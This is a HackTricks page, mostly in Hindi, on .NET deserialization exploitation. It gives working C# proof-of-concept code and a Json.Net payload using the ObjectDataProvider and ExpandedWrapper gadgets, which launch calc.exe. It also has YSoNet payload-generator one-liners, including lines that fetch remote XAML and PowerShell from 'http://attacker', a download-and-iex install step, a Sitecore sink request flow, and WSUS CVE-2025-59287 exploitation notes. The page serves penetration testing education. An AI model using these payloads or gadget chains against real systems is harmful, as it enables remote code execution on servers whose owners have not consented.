बेसिक .Net deserialization (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net)

Tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

This post is dedicated to समझने के लिए कि gadget ObjectDataProvider का उपयोग कैसे exploit किया जाता है ताकि RCE प्राप्त हो और कैसे Serialization libraries Json.Net और xmlSerializer को उस gadget के साथ दुरुपयोग किया जा सकता है

ObjectDataProvider Gadget

From the documentation: the ObjectDataProvider Class Wraps and creates an object that you can use as a binding source.
हाँ, यह एक अजीब व्याख्या है, तो आइए देखें इस क्लास में ऐसा क्या है जो इतना दिलचस्प है: यह क्लास किसी भी प्रकार के object को wrap करने, MethodParameters का उपयोग करके arbitrary parameters सेट करने, और फिर arbitrary parameters का उपयोग करके घोषित किए गए arbitrary object के किसी भी arbitrary function को कॉल करने के लिए MethodName का उपयोग करने की अनुमति देती है।
इसलिए, arbitrary object deserialized होते समय parameters के साथ एक function execute करेगा।

यह कैसे संभव है

System.Windows.Data namespace, जो PresentationFramework.dll में C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF पर पाया जाता है, वह जगह है जहाँ ObjectDataProvider परिभाषित और लागू किया गया है।

Using dnSpy आप उस class के कोड का निरीक्षण कर सकते हैं जिसमें हम रुचि रखते हैं। नीचे की इमेज में हम PresentationFramework.dll –> System.Windows.Data –> ObjectDataProvider –> Method name का कोड देख रहे हैं।

जैसा कि आप देख सकते हैं जब MethodName सेट किया जाता है तो base.Refresh() कॉल होता है, आइए देखें यह क्या करता है:

ठीक है, आइए आगे देखें कि this.BeginQuery() क्या करता है। BeginQuery को ObjectDataProvider द्वारा override किया गया है और यह यही करता है:

ध्यान दें कि कोड के अंत में यह this.QueryWorke(null) को कॉल कर रहा है। आइए देखें यह क्या execute करता है:

ध्यान दें कि यह QueryWorker फ़ंक्शन का पूरा कोड नहीं है लेकिन यह इसका दिलचस्प हिस्सा दिखाता है: कोड this.InvokeMethodOnInstance(out ex); को कॉल करता है। यही वह लाइन है जहाँ method set invoke किया जाता है

यदि आप यह जांचना चाहते हैं कि सिर्फ MethodName सेट करने पर यह execute होगा, तो आप यह कोड चला सकते हैं:

C# demo: ObjectDataProvider triggers Process.Start ```csharp using System.Windows.Data; using System.Diagnostics;

namespace ODPCustomSerialExample { class Program { static void Main(string[] args) { ObjectDataProvider myODP = new ObjectDataProvider(); myODP.ObjectType = typeof(Process); myODP.MethodParameters.Add(“cmd.exe”); myODP.MethodParameters.Add(“/c calc.exe”); myODP.MethodName = “Start”; } } }

</details>

Note that you need to add as reference _C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll_ in order to load `System.Windows.Data`

## ExpandedWrapper

Using the previous exploit there will be cases where the **object** is going to be **deserialized as** an _**ObjectDataProvider**_ instance (for example in DotNetNuke vuln, using XmlSerializer, the object was deserialized using `GetType`). Then, will have **no knowledge of the object type that is wrapped** in the _ObjectDataProvider_ instance (`Process` for example). You can find more [information about the DotNetNuke vuln here](https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F&sandbox=1).

यह क्लास किसी दिए गए instance में encapsulated ऑब्जेक्ट्स के ऑब्जेक्ट प्रकारों को **निर्दिष्ट करने** की अनुमति देती है। इसलिए, इस क्लास का उपयोग स्रोत ऑब्जेक्ट (_ObjectDataProvider_) को एक नए object type में encapsulate करने और उन properties को प्रदान करने के लिए किया जा सकता है जिनकी हमें ज़रूरत है (_ObjectDataProvider.MethodName_ और _ObjectDataProvider.MethodParameters_).\
यह उन मामलों के लिए बहुत उपयोगी है जो पहले प्रस्तुत किए गए उदाहरण जैसे हैं, क्योंकि हम सक्षम होंगे **wrap \_ObjectDataProvider**_** inside an **_**ExpandedWrapper** \_ instance और **when deserialized** यह class **create** करेगा _**OjectDataProvider**_ object जो _**MethodName**_ में संकेतित **function** को **execute** करेगा।

You can check this wrapper with the following code:

<details>
<summary>C# demo: ExpandedWrapper encapsulating ObjectDataProvider</summary>
```csharp
using System.Windows.Data;
using System.Diagnostics;
using System.Data.Services.Internal;

namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ExpandedWrapper<Process, ObjectDataProvider> myExpWrap = new ExpandedWrapper<Process, ObjectDataProvider>();
myExpWrap.ProjectedProperty0 = new ObjectDataProvider();
myExpWrap.ProjectedProperty0.ObjectInstance = new Process();
myExpWrap.ProjectedProperty0.MethodParameters.Add("cmd.exe");
myExpWrap.ProjectedProperty0.MethodParameters.Add("/c calc.exe");
myExpWrap.ProjectedProperty0.MethodName = "Start";
}
}
}

Json.Net

In the official web page it is indicated that this library allows to Serialize and deserialize any .NET object with Json.NET’s powerful JSON serializer. इसलिए, यदि हम deserialize the ObjectDataProvider gadget कर सकें, तो सिर्फ़ एक ऑब्जेक्ट को deserialize करने भर से हम RCE पैदा कर सकते हैं।

Json.Net उदाहरण

सबसे पहले, आइए देखते हैं कि इस लाइब्रेरी का उपयोग करके किसी ऑब्जेक्ट को serialize/deserialize कैसे किया जाता है:

C# डेमो: Json.NET serialize/deserialize ```csharp using System; using Newtonsoft.Json; using System.Diagnostics; using System.Collections.Generic;

namespace DeserializationTests { public class Account { public string Email { get; set; } public bool Active { get; set; } public DateTime CreatedDate { get; set; } public IList Roles { get; set; } } class Program { static void Main(string[] args) { Account account = new Account { Email = “james@example.com”, Active = true, CreatedDate = new DateTime(2013, 1, 20, 0, 0, 0, DateTimeKind.Utc), Roles = new List { “User”, “Admin” } }; //Serialize the object and print it string json = JsonConvert.SerializeObject(account); Console.WriteLine(json); //{“Email”:“james@example.com”,“Active”:true,“CreatedDate”:“2013-01-20T00:00:00Z”,“Roles”:[“User”,“Admin”]}

//Deserialize it Account desaccount = JsonConvert.DeserializeObject(json); Console.WriteLine(desaccount.Email); } } }

</details>

### Json.Net का दुरुपयोग

मैंने [ysoserial.net](https://github.com/pwntester/ysoserial.net) का उपयोग करके exploit बनाया:
```text
yoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}

इस कोड में आप test the exploit, बस इसे चलाएँ और आप देखेंगे कि calc चल जाएगा:

C# demo: Json.NET ObjectDataProvider exploitation PoC ```csharp using System; using System.Text; using Newtonsoft.Json;

namespace DeserializationTests { class Program { static void Main(string[] args) { //Declare exploit string userdata = @“{ ‘$type’:‘System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35’, ‘MethodName’:‘Start’, ‘MethodParameters’:{ ‘$type’:‘System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089’, ‘$values’:[‘cmd’, ‘/c calc.exe’] }, ‘ObjectInstance’:{‘$type’:‘System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089’} }”; //Exploit to base64 string userdata_b64 = Convert.ToBase64String(System.Text.Encoding.UTF8.GetBytes(userdata));

//Get data from base64 byte[] userdata_nob64 = Convert.FromBase64String(userdata_b64); //Deserialize data string userdata_decoded = Encoding.UTF8.GetString(userdata_nob64); object obj = JsonConvert.DeserializeObject(userdata_decoded, new JsonSerializerSettings { TypeNameHandling = TypeNameHandling.Auto }); } } }

</details>

## उन्नत .NET Gadget Chains (YSoNet & ysoserial.net)

ObjectDataProvider + ExpandedWrapper technique ऊपर परिचित कराई गई केवल उन कई gadget chains में से एक है जिनका दुरुपयोग तब किया जा सकता है जब कोई application **unsafe .NET deserialization** करता है। आधुनिक red-team tooling जैसे **[YSoNet](https://github.com/irsdl/ysonet)** (और पुराना [ysoserial.net](https://github.com/pwntester/ysoserial.net)) दर्जनों gadgets और serialization formats के लिए **ready-to-use malicious object graphs** बनाना automate करते हैं।

नीचे *YSoNet* के साथ भेजे गए सबसे उपयोगी chains का संक्षिप्त संदर्भ और यह कैसे काम करते हैं तथा payload जनरेट करने के उदाहरण कमांड दिए गए हैं।

| Gadget Chain | प्रमुख विचार / Primitive | सामान्य Serializers | YSoNet one-liner |
|--------------|-------------------------|---------------------|------------------|
| **TypeConfuseDelegate** | `DelegateSerializationHolder` रिकॉर्ड को करप्ट करता है ताकि, एक बार instantiated होने पर, delegate किसी भी attacker-supplied method (उदा. `Process.Start`) की ओर इशारा कर सके | `BinaryFormatter`, `SoapFormatter`, `NetDataContractSerializer` | `ysonet.exe TypeConfuseDelegate "calc.exe" > payload.bin` |
| **ActivitySurrogateSelector** | `System.Workflow.ComponentModel.ActivitySurrogateSelector` का दुरुपयोग करके .NET ≥4.8 के type-filtering को बायपास कर सकता है और सीधे दिए गए क्लास के constructor को कॉल कर सकता है या तुरंत एक C# फ़ाइल को compile कर सकता है | `BinaryFormatter`, `NetDataContractSerializer`, `LosFormatter` | `ysonet.exe ActivitySurrogateSelectorFromFile ExploitClass.cs;System.Windows.Forms.dll > payload.dat` |
| **DataSetOldBehaviour** | `System.Data.DataSet` के legacy XML प्रतिनिधित्व का उपयोग करके arbitrary types को instantiate करता है — `<ColumnMapping>` / `<DataType>` फ़ील्ड भरकर (वैकल्पिक रूप से assembly को `--spoofedAssembly` से fake करना) | `LosFormatter`, `BinaryFormatter`, `XmlSerializer` | `ysonet.exe DataSetOldBehaviour "<DataSet>…</DataSet>" --spoofedAssembly mscorlib > payload.xml` |
| **GetterCompilerResults** | WPF-enabled runtimes (> .NET 5) पर property getters को chain करता है जब तक कि `System.CodeDom.Compiler.CompilerResults` तक नहीं पहुँच जाता, फिर `-c` के साथ दी गई DLL को compile या load करता है | `Json.NET` typeless, `MessagePack` typeless | `ysonet.exe GetterCompilerResults -c Loader.dll > payload.json` |
| **ObjectDataProvider** (review) | WPF `System.Windows.Data.ObjectDataProvider` का उपयोग करके controlled arguments के साथ किसी arbitrary static method को call करता है। YSoNet एक सुविधाजनक `--xamlurl` variant जोड़ता है ताकि malicious XAML को रिमोटली host किया जा सके | `BinaryFormatter`, `Json.NET`, `XAML`, *etc.* | `ysonet.exe ObjectDataProvider --xamlurl http://attacker/o.xaml > payload.xaml` |
| **PSObject (CVE-2017-8565)** | `System.Management.Automation.PSObject` में `ScriptBlock` embed करता है जो PowerShell द्वारा object को deserialise करने पर execute होता है | PowerShell remoting, `BinaryFormatter` | `ysonet.exe PSObject "Invoke-WebRequest http://attacker/evil.ps1" > psobj.bin` |

> [!TIP]
> सभी payloads डिफ़ॉल्ट रूप से **stdout** पर लिखे जाते हैं, जिससे इन्हें अन्य tooling (जैसे ViewState generators, base64 encoders, HTTP clients) में पाइप करना आसान हो जाता है।

### YSoNet को Build / Install करना

यदि *Actions ➜ Artifacts* / *Releases* के तहत कोई pre-compiled binaries उपलब्ध नहीं हैं, तो निम्नलिखित **PowerShell** one-liner एक build environment सेटअप करेगा, repository को clone करेगा और सब कुछ *Release* मोड में compile करेगा:
```powershell
Set-ExecutionPolicy Bypass -Scope Process -Force;
[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072;
iex ((New-Object System.Net.WebClient).DownloadString('https://community.chocolatey.org/install.ps1'));
choco install visualstudio2022community visualstudio2022-workload-nativedesktop msbuild.communitytasks nuget.commandline git --yes;

git clone https://github.com/irsdl/ysonet
cd ysonet
nuget restore ysonet.sln
msbuild ysonet.sln -p:Configuration=Release

The compiled ysonet.exe can then be found under ysonet/bin/Release/.

वास्तविक‑दुनिया का sink: Sitecore convertToRuntimeHtml → BinaryFormatter

एक व्यावहारिक .NET sink जो प्रमाणीकृत Sitecore XP Content Editor flows में पहुँच योग्य है:

  • Sink API: Sitecore.Convert.Base64ToObject(string) new BinaryFormatter().Deserialize(...) को लपेटता है।
  • Trigger path: pipeline convertToRuntimeHtmlConvertWebControls, जो id="{iframeId}_inner" वाला एक sibling element खोजता है और एक value attribute पढ़ता है जिसे base64‑encoded serialized data के रूप में माना जाता है। परिणाम को string में cast किया जाता है और HTML में insert किया जाता है।
प्रमाणीकृत Sitecore sink trigger HTTP flow ```text // Load HTML into EditHtml session POST /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.EditHtml.aspx Content-Type: application/x-www-form-urlencoded

__PARAMETERS=edithtml:fix&…&ctl00$ctl00$ctl05$Html=

// Server returns a handle; visiting FixHtml.aspx?hdl=… triggers deserialization GET /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=…

</details>

- Gadget: कोई भी BinaryFormatter chain जो एक string लौटाता है (side‑effects deserialization के दौरान चलते हैं)। YSoNet/ysoserial.net देखें payloads जनरेट करने के लिए।

For a full chain that starts pre‑auth with HTML cache poisoning in Sitecore and leads to this sink:

<a class="content_ref" href="../../network-services-pentesting/pentesting-web/sitecore/index.html"><span class="content_ref_label">Sitecore</span></a>

## केस स्टडी: WSUS unsafe .NET deserialization (CVE-2025-59287)

- उत्पाद/भूमिका: Windows Server Update Services (WSUS) role on Windows Server 2012 → 2025.
- Attack surface: IIS-hosted WSUS endpoints over HTTP/HTTPS on TCP 8530/8531 (often exposed internally; Internet exposure is high risk).
- मूल कारण: Unauthenticated deserialization of attacker-controlled data using legacy formatters:
- `GetCookie()` endpoint deserializes an `AuthorizationCookie` with `BinaryFormatter`.
- `ReportingWebService` performs unsafe deserialization via `SoapFormatter`.
- प्रभाव: एक crafted serialized object deserialization के दौरान gadget chain ट्रिगर करता है, जिससे arbitrary code execution के रूप में `NT AUTHORITY\SYSTEM` हासिल हो सकता है, या तो WSUS service (`wsusservice.exe`) या IIS app pool `wsuspool` (`w3wp.exe`) के तहत।

व्यावहारिक exploitation नोट्स
- Discovery: WSUS के लिए TCP 8530/8531 स्कैन करें। किसी भी pre-auth serialized blob को जो WSUS वेब मेथड्स तक पहुँचता है, संभावित sink के रूप में Treat करें जो `BinaryFormatter`/`SoapFormatter` payloads के लिए इस्तेमाल हो सकता है।
- Payloads: YSoNet/ysoserial.net का उपयोग करके `BinaryFormatter` या `SoapFormatter` chains जनरेट करें (उदा., `TypeConfuseDelegate`, `ActivitySurrogateSelector`, `ObjectDataProvider`)।
- सफलता पर अपेक्षित process lineage:
- `wsusservice.exe -> cmd.exe -> cmd.exe -> powershell.exe`
- `w3wp.exe (wsuspool) -> cmd.exe -> cmd.exe -> powershell.exe`

## References
- [YSoNet – .NET Deserialization Payload Generator](https://github.com/irsdl/ysonet)
- [ysoserial.net – original PoC tool](https://github.com/pwntester/ysoserial.net)
- [Microsoft – CVE-2017-8565](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2017-8565)
- [watchTowr Labs – Sitecore XP cache poisoning → RCE](https://labs.watchtowr.com/cache-me-if-you-can-sitecore-experience-platform-cache-poisoning-to-rce/)
- [Unit 42 – Microsoft WSUS RCE (CVE-2025-59287) actively exploited](https://unit42.paloaltonetworks.com/microsoft-cve-2025-59287/)
- [MSRC – CVE-2025-59287 advisory](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-59287)
- [NVD – CVE-2025-59287](https://nvd.nist.gov/vuln/detail/CVE-2025-59287)

> [!TIP]
> AWS हैकिंग सीखें और अभ्यास करें:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> GCP हैकिंग सीखें और अभ्यास करें: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
> Azure हैकिंग सीखें और अभ्यास करें: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://training.hacktricks.xyz/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>HackTricks का समर्थन करें</summary>
>
> - [**सदस्यता योजनाओं**](https://github.com/sponsors/carlospolop) की जांच करें!
> - **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **हमें** **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)** पर फॉलो करें।**
> - **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PRs सबमिट करें।
>
> </details>